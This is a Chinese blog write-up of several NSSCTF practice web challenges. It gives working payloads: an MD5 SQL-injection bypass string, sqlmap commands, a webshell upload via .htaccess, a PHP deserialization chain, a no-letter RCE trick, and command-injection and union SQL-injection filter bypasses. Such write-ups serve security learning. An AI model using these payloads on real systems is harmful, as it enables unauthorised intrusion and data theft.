NSSSCTF做题(2)

news2024/11/26 4:20:08

1.[BJDCTF 2020]easy_md5

 打开页面发现没什么东西,只有一个提交表单,然后url会显示你提交的信息

源代码里也看不到什么 ,用dirsearch扫一下,这些是扫出来的数据

 抓包看到了提示

 hint: select * from 'admin' where password=md5($pass,true)

在密码加密的过程中,password=md5($pass,true)中的true表示将结果以二进制形式返回。在PHP中,md5()函数默认将结果以32位的十六进制字符串形式返回,而添加true参数后,将以16个字节的二进制字符串形式返回。

ffifdyop转化为二进制之后前面正好是‘ or ’6-------

(这个也是个之前学过的知识点,但是给忘了)

ffifdyop——绕过中一个奇妙的字符串
ffifdyop经过md5加密后为:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or’6<乱码> 即 'or’66�]��!r,��b

用途:select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 可以实现sql注入

框里输入 ffifdyop,发现成功绕过

找到了源码

分析源码

<!--
$a = $GET['a'];
$b = $_GET['b'];//get传参a,b

if($a != $b && md5($a) == md5($b)){//让a不等于b,md5的a=b(用数组绕过)
    header('Location: levell14.php');//成功绕过,可以进入这个页面
--> 

 成功进入下一个页面

 继续审计

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){//还是数组绕过

    echo $flag;
}
 

 得到flag

 [SWPUCTF 2021 新生赛]easyupload3.0

他还提示试试和某些文件配合  

 

上传.htaccess文件成功

 上传图片马成功,用蚁剑连接

连接成功

找到flag 没有技术含量

[LitCTF 2023]我Flag呢?

在源码里找到flag

[SWPUCTF 2021 新生赛]error

输入1' and 1=1 发现报错

确定是SQL注入,再试试看看是什么类型的注入

没变化,用sqlmap跑一下

跑出来了,开始注入

 查数据库

 sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" --dbs -batch

查表名

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db --tables

查列名

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb --columns 

 

查字段内容

sqlmap -u "http://node5.anna.nssctf.cn:28097/index.php?id=" -D test_db -T test_tb -C flag --dump 

 得到flag

[SWPUCTF 2021 新生赛]hardrce

php代码审计

简单写了一下

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))//get传参
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];//黑名单
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {//正则限制 /,/m,黑名单
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))//正则限制字母
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";//全部绕过之后
eval($wllm);//eval危险函数执行
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

php eval()函数

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 把字符串作为PHP代码执行

说明 eval(string $code)

把字符串 code 作为PHP代码执行。

    函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
    如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。

看了这些之后还是没思路,然后看到提示说是无字母rce

去网上找了无字母rce的内容

下边是办法

异或(^)达到命令执行

要求的符号: ^

取反(~)达到命令执行

要求的符号:~

或(|)达到命令执行

要求的符号:|

自增自减(++,–)达到命令执行

要求的符号:"$", “.”, “_”, “=”,"+" 和一些其他的符号。

这里我只做简单概述,具体的我也没有学清楚

推荐大佬的博客:

奇安信攻防社区-PHP正则表达式绕过姿势之异或绕过(PHP正则表达式绕过姿势之异或绕过)

web安全-PHP-url编码取反绕过正则-思考_Red snow的博客-CSDN博客

这道题没过滤 |,~ 可以考虑或和取反绕过

构造payload:

我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到

得到flag的文件

 接着取反

得到flag

这道题主要还是正则绕过吧,异或取反自增很重要,要恶补一下

[LitCTF 2023]PHP是世界上最好的语言!! 

 

打开发现是这样的

直接一个命令执行,结束

 [SWPUCTF 2021 新生赛]pop

代码审计 涉及到反序列化

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>
 

解析代码 :

  1. <?php:这是PHP的开始标记,表示代码是PHP脚本。

  2. error_reporting(0);:这行代码设置PHP错误报告级别为0,意味着禁止显示错误信息。这可能是为了隐藏脚本中的潜在漏洞。

  3. show_source("index.php");:这行代码调用了show_source()函数来显示当前脚本文件(index.php)的源代码。

  4. class w44m{...}:这是一个名为w44m的类的定义。它包含了一个私有成员变量admin和一个受保护的成员变量passwd,以及一个公共方法Getflag()Getflag()方法检查adminpasswd的值是否为特定的字符串,如果匹配则包含并显示flag.php文件的内容,否则显示一些其他信息。

  5. class w22m{...}:这是一个名为w22m的类的定义。它包含一个公共成员变量w00m和一个特殊的魔术方法__destruct()__destruct()方法在对象销毁时自动调用,并输出w00m的值。

  6. class w33m{...}:这是一个名为w33m的类的定义。它包含两个公共成员变量w00mw22m,以及一个特殊的魔术方法__toString()__toString()方法在将对象作为字符串使用时自动调用,并通过调用w00m对象的$w22m方法来执行一些操作,然后返回0。

  7. $w00m = $_GET['w00m'];:这行代码从URL参数中获取名为w00m的值,并将其赋给变量$w00m

  8. unserialize($w00m);:这行代码使用unserialize()函数对$w00m进行反序列化。反序列化是将之前序列化的数据重新转换为PHP对象的过程。在这段代码中,它的目的是将$w00m的值反序列化为一个对象。

 php脚本:

<?php
class w44m{

    private $admin;
    protected $passwd;
    public function __construct(){
        $this->admin="w44m";
        $this->passwd="08067";
        
    }
    }
class w22m{
    public $w00m;
    public function __construct($c){
    $this->w00m=$c;
    
    }
}
class w33m{
    public $w00m;
    public $w22m="Getflag";
    public function __construct($p){
     $this->w00m=$p;
    }
}
$x=new w44m();
$b=new w33m($x);
$d=new w22m($b);
echo urlencode(serialize($d));
?>

解释:

它创建了三个类w44mw22mw33m,并实例化这些类来生成一个序列化后的对象,并对其进行URL编码后输出。

下面是代码的解释:

  1. class w44m{...}:这是一个名为w44m的类的定义。它包含了一个私有成员变量admin和一个受保护的成员变量passwd,以及一个构造函数__construct()。构造函数在创建类的实例时被调用,并设置adminpasswd的值为w44m08067

  2. class w22m{...}:这是一个名为w22m的类的定义。它包含一个公共成员变量w00m和一个构造函数__construct()。构造函数接受一个参数$c,并将其赋值给w00m成员变量。

  3. class w33m{...}:这是一个名为w33m的类的定义。它包含两个公共成员变量w00mw22m,以及一个构造函数__construct()。构造函数接受一个参数$p,并将其赋值给w00m成员变量。

  4. $x=new w44m();:这行代码创建了一个w44m类的实例,并将其赋值给变量$x

  5. $b=new w33m($x);:这行代码创建了一个w33m类的实例,并将之前创建的w44m实例$x作为参数传递给构造函数。然后将该实例赋值给变量$b

  6. $d=new w22m($b);:这行代码创建了一个w22m类的实例,并将之前创建的w33m实例$b作为参数传递给构造函数。然后将该实例赋值给变量$d

  7. echo urlencode(serialize($d));:这行代码对$d进行序列化,然后使用urlencode()函数对序列化后的结果进行URL编码,并将编码后的结果输出。

 得到flag

payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

[NSSCTF 2022 Spring Recruit]ezgame 

提示 超过65分会给flag

在前端js代码中找到

[GXYCTF 2019]Ping Ping Ping 

输入127.0.0.1 | ls /

输入system('ls');

输入127.0.0.1

ping命令执行的相关

127.0.0.1&&+code  只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code  &表示将任务置于后台执行
127.0.0.1||+code  只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code  | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code  多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

127.0.0.1;ls

找到了flag.php

cat一下

?ip=127.0.0.1%3Bcat$IFS$1flag.php

 发现不行,用拼接字符串的方式来绕过

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php 

[SWPUCTF 2021 新生赛]sql

告诉参数是wllm,尝试sqlmap注入

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -dbs -batch

找到数据库名称

 

查列名

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db --tables

 

 查字段

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb --columns

 

查字段内容

sqlmap -u "http://node5.anna.nssctf.cn:28933/?wllm=" -D test_db -T test_tb -C flag --dump

发现这个flag是错的,还是要自己手注,等这个周末会专攻一下sql手注,老是用工具跑还是不会

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23

 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23 

 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23 

主要涉及到的就是空格绕过

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1042801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【文件操作——详细讲解】

1. 为什么使用文件&#xff1f;&#x1f9d0; 如果没有⽂件&#xff0c;我们写的程序的数据是存储在电脑的内存中&#xff0c;如果程序退出&#xff0c;内存回收&#xff0c;数据就丢失了&#xff0c;等再次运⾏程序&#xff0c;是看不到上次程序的数据的&#xff0c;如果要将数…

cmd下scala退出命令

cmd下scala退出命令 &#xff1a;quit

checksec使用

checksec Relro&#xff1a;Full Relro&#xff08;重定位表只读&#xff09; Relocation Read Only&#xff0c; 重定位表只读。重定位表即.got 和 .plt个表。 Stack&#xff1a;No Canary found&#xff08;能栈溢出&#xff09; 栈保护。栈溢出保护是一种缓冲区溢出攻击缓解…

Docker 部署前端项目(非自动化)

部署前端项目 1. nginx配置文件1.1 nginxConf 2. 创建容器2.1 添加项目2.2 下载项目依赖2.3 打包前端项目2.4 创建容器2.5 查看容器 3. 视频演示4. 注意 1. nginx配置文件 1.1 nginxConf 首先你需要有nginx配置文件&#xff0c;你可以执行以下命令获取配置文件 # 安装镜像-生成…

JS进阶-闭包

概念&#xff1a;一个函数对周围状态的引用捆绑在一起&#xff0c;内层函数中访问到其外层函数的作用域 简单理解&#xff1a;闭包&#xff08;Closure&#xff09;内层函数外层函数的变量 function outer() {const a 1function f() {console.log(a)}f()} outer() 闭包作用…

最新商道融绿ESG数据(2015-2023)

数据简介&#xff1a;环境、社会和公司治理&#xff08;environmental, social, and corporate governance, 简称ESG&#xff09;方面的非财务信息已经普遍被用于评估企业在可持续发展方面的绩效。投资者通过考察上市公司的ESG绩效&#xff0c;便于识别企业面临的风险&#xff…

L1-033 出生年 c++解法

一、题目再现 以上是新浪微博中一奇葩贴&#xff1a;“我出生于1988年&#xff0c;直到25岁才遇到4个数字都不相同的年份。”也就是说&#xff0c;直到2013年才达到“4个数字都不相同”的要求。本题请你根据要求&#xff0c;自动填充“我出生于y年&#xff0c;直到x岁才遇到n个…

ElementUI之动态树+数据表格+分页

目录 一.ElementUI动态树 编写left.vue界面 配置url ​编辑 建立书籍的页面 编写路由 显示子主键的类 测试结果 二.ElementUI数据表格分页 在booklist中编写数据表格和分页 编写url路径 测试结果 ​编辑 一.ElementUI动态树 编写left.vue界面 <template>…

OpenAI 更新 ChatGPT:支持图片和语音输入【附点评】

一、消息正文 9月25日消息,近日OpenAI宣布其对话AI系统ChatGPT进行升级,添加了语音输入和图像处理两个新功能。据OpenAI透露,这些新功能将在未来两周内面向ChatGPT Plus付费用户推出,免费用户也将很快可以使用这些新功能。这标志着ChatGPT继续朝着多模态交互的方向发展,为用户提…

3D 视觉市场空间广阔,3D 感知龙头全技术路线布局

3D 视觉市场尚处在发展早期,空间广阔 人类 70%以上信息通过眼睛获取,对于机器而言,视觉感知也是其“智能化”升级的重要基础。3D 成像让每一个像素除 x、y 轴数据外,还有 z 轴(深度/距离)数据。围绕着人体、物体、空间扫描一圈,就能得到点云图和精准的“1:1”还原的 3D …

abaqus命令行基础

1.abaqus命令行基础 使用 abaqus 时&#xff0c;如果需要进行参数分析&#xff0c;就需要生成大量的模型&#xff0c;这时一般会使用python文件定义函数进行批量生成并计算。 如果已经生成了计算文件(*.inp文件)&#xff0c;那么就可以直接在命令行进行求解&#xff0c;abaqu…

自动化测试框架pytest命令参数

【软件测试面试突击班】如何逼自己一周刷完软件测试八股文教程&#xff0c;刷完面试就稳了&#xff0c;你也可以当高薪软件测试工程师&#xff08;自动化测试&#xff09; 失败后停止 使用下面的参数可以让测试在第1(N)次测试失败后停止&#xff1a; pytest ‐x # 第一次测试…

【大数据存储与处理】1. hadoop单机伪分布安装和集群安装

0. 写在前面 0.1 软件版本 hadoop2.10.2 ubuntu20.04 openjdk-8-jdk 0.2 hadoop介绍 Hadoop是一个由Apache基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下&#xff0c;开发分布式程序。充分利用集群的威力进行高速运算和存储。Hadoop实现了一个…

数据结构_红黑树

1、二叉树 每一个分支不能超过两个 2、 排序数/查找树 在二叉树的基础上&#xff0c;元素是有大小顺序的左 子树 小&#xff0c;右 子树 大 3、平衡树 左孩子数 和 右孩子数 相等 4、不平衡树 5、 红黑树 特点&#xff1a;趋近于平衡树&#xff0c;查询的速度非常的快&#xf…

【论文笔记】A Review of Motion Planning for Highway Autonomous Driving

文章目录 I. INTRODUCTIONII. CONSIDERATIONS FOR HIGHWAY MOTION PLANNINGA. TerminologyB. Motion Planning SchemeC. Specificities of Highway DrivingD. Constraints on Highway DrivingE. What Is at Stake in this Paper III. STATE OF THE ARTA. Taxonomy DescriptionB…

全新iphone15 pro max拆解,内部元件供应链曝光 | 百能云芯

苹果顶级版iPhone 15 Pro Max热销&#xff0c;国外维修网站ifixit拆解内部零组件后评估&#xff0c;苹果在电源、无线通讯、音频等关键元件比重增加。台企华邦电子供应编码型快闪存储器&#xff08;NOR Flash&#xff09;。 苹果&#xff08;Apple&#xff09;iPhone 15 Pro Ma…

Powershell 实现禁用密码复杂性,空密码

前提条件 开启wmi,配置网卡,参考 实现一键关闭密码策略和远程空密码登录 最近客户需要的一个无法理解的需求,需要远程登录不输入密码,安全性没有了还要实现,没办法客户是上帝,客户怎么开心怎么来都行,安全性问题告知不重视,实际环境不建议一下操作,只要联网你被黑的哦…

《重磅发布 | 80+大屏组件模板,即刻下载、快速构建应用!遥遥领先~》

smardaten没有酱香拿铁、没有李佳琦79元的眉笔套餐…… 但给大家准备了50可视化应用模板、30页面组件模板&#xff0c;免费用&#xff01;这不比酱香拿铁香&#xff1f; 其实&#xff0c;自今年2月份商超上线以来&#xff0c;已上架10个软件系统、3个大屏模板&#xff08;还不…

JAVA自动化之Junit单元测试框架详解

一、JUnit概述&配置 1、Junit是什么&#xff1f; Junit是一个Java 编程语言的开源测试框架&#xff0c;用于编写和运行测试。官网 地址&#xff1a;https://junit.org/junit4/ 2、Maven配置 ?xml version"1.0" encoding"UTF-8"?> <project…

一文搞懂模板(template)

背景引入&#xff1a; 想象一下&#xff0c;我们要实现一个整数相加&#xff0c;浮点数相加的函数&#xff0c;如果按C语言的思路&#xff0c;我们需要写两个函数名不同的函数&#xff0c;来完成相加&#xff1b;如果C语言&#xff0c;则可以通过函数重载的特性&#xff0c;写两…